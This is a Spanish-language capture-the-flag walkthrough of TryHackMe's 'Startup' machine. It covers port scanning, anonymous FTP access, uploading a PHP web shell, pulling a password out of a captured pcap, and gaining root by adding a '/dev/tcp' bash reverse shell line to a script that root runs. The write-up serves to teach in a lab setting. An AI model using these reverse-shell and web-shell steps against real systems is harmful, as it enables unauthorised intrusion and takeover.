> For the complete documentation index, see [llms.txt](https://enciall.gitbook.io/enciall/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://enciall.gitbook.io/enciall/ctf/try-hack-me/startup.md).

# Startup

| Campo                 | Detalle                         |
| --------------------- | ------------------------------- |
| Nombre de la máquina: | Startup                         |
| Dificultad:           | Facil                           |
| Plataforma:           | <https://tryhackme.com/>        |
| Creador:              | <https://tryhackme.com/p/elbee> |

### Iniciamos con un escaneo rápido para identificar los puertos abiertos:

```
nmap -p- --open -sS -sC -sV --min-rate 5000 -n -Pn $IP
```

```
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-03 23:51 CST
Nmap scan report for 10.10.32.169
Host is up (0.20s latency).
Not shown: 64470 closed tcp ports (reset), 1061 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxrwxrwx    2 65534    65534        4096 May 04 04:08 ftp [NSE: writeable]
| -rw-r--r--    1 0        0          251631 Nov 12  2020 important.jpg
|_-rw-r--r--    1 0        0             208 Nov 12  2020 notice.txt
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.2.18.141
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 b9:a6:0b:84:1d:22:01:a4:01:30:48:43:61:2b:ab:94 (RSA)
|   256 ec:13:25:8c:18:20:36:e6:ce:91:0e:16:26:eb:a2:be (ECDSA)
|_  256 a2:ff:2a:72:81:aa:a2:9f:55:a4:dc:92:23:e6:b4:3f (ED25519)
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Maintenance
|_http-server-header: Apache/2.4.18 (Ubuntu)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.95 seconds
                                                                              
```

vemos que tenemos tres puertos abiertos FTP vsftpd 3.0.3 con el Anonymous activado SSH Openssh 7.2p2 HTTP Apache httpd 2.4.18&#x20;

### accedemos a FTP con el usuario Anonymous&#x20;

```
ftp $IP
```

<figure><img src="/files/rbIdUluavo4Afe8lVuQM" alt=""><figcaption></figcaption></figure>

vemos que tenemos dos arcivos y un directorio nada interesante en ninguno

### Hacemos Fuzzing con FFUF para encontrar directiorios ocultos:

```
ffuf -u http://$IP/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 4
```

<figure><img src="/files/9v4DCqOwV6EwA85W6WPq" alt=""><figcaption></figcaption></figure>

vemos un archivo llamado files si vamos a el directorio vemos lo mismo que vimos en ftp asi que vamos a tratar de subir una web-shell en el ftp

vamos ala web <https://www.revshells.com/> y lo configuramos de esta manera:

<figure><img src="/files/2UQHqzbPUy08xs5bdpNu" alt=""><figcaption></figcaption></figure>

remplaza la ip por la tuya la de la vpn&#x20;

### subimos la web-shell con :

```
put nombre-de-tu-web-shell.php
```

en la web le damos click a la web-shell y se quedara cargando ahora tendriamos acceso al sistema

una vez adentro para arreglar la tty operativa ponemos:

```
python -c 'import pty; pty.spawn("/bin/bash")'
```

<figure><img src="/files/LZIjwVYfiAoGGbEUZrXD" alt=""><figcaption></figcaption></figure>

investigando encontre un archivo llamado recipe.txt donde esta la receta ahora investigando un poco mas en la carpeta incidents encontramos un archivo llamado suspicious.pcapng que es un archivo de "logs" y para analizarlo necesitamos abrirlo con wireshark y para eso necesitamos descargar el archivo montamos un server con python3&#x20;

```python
python3 -m http.server 8000
```

abrimos la ip asi: $IP:8000 para poder descargar el archivo una vez descargado abrimos el archivo con wireshark

<figure><img src="/files/sbpmNrNj31zgjpnGGBCe" alt=""><figcaption></figcaption></figure>

para poder ver lo de la izquierda tienes que dar click derecho seguir TCP Stream

en los logs vemos una contraseña la probamos y resulta ser la contraseña del usuario lennie que previamente lo avia visto en /home&#x20;

```
ssh lennie@10.10.32.169
```

ponemos la contraseña y vamos al home de este usuario hay se encontrara la flag de usuario

en la carpeta scripts vemos dos archivos **planner.sh** y **startup\_list.txt** este ultimo esta vacio en planner.sh vemos que es un script que ejecuta un comando con permisos de root asi que ahi podriamos poner una reverse shell&#x20;

<figure><img src="/files/kwdP3J1E3C8yu0RDPQGJ" alt=""><figcaption></figcaption></figure>

el archivo print.sh es el unico que podemos modificar sin ser root asi que ahi pondremos la reverse shell&#x20;

```
bash -i >& /dev/tcp/TU-IP/5555 0>&1
```

abrimos el archivo con vim o nano pero en mi caso no se abria nano ponemos lo anterior abajo y salimos precionando ESC y ponemos :wq&#x20;

<figure><img src="/files/H8aNcaCilJ1pfT7k2I3G" alt=""><figcaption></figcaption></figure>

hacemos:

```
nc -nlvp 5555
```

esperamos unos segundo y seremos root

<figure><img src="/files/SYX1o8hqfGFTQEfvGQVE" alt=""><figcaption></figcaption></figure>

la flag de root esta en /root
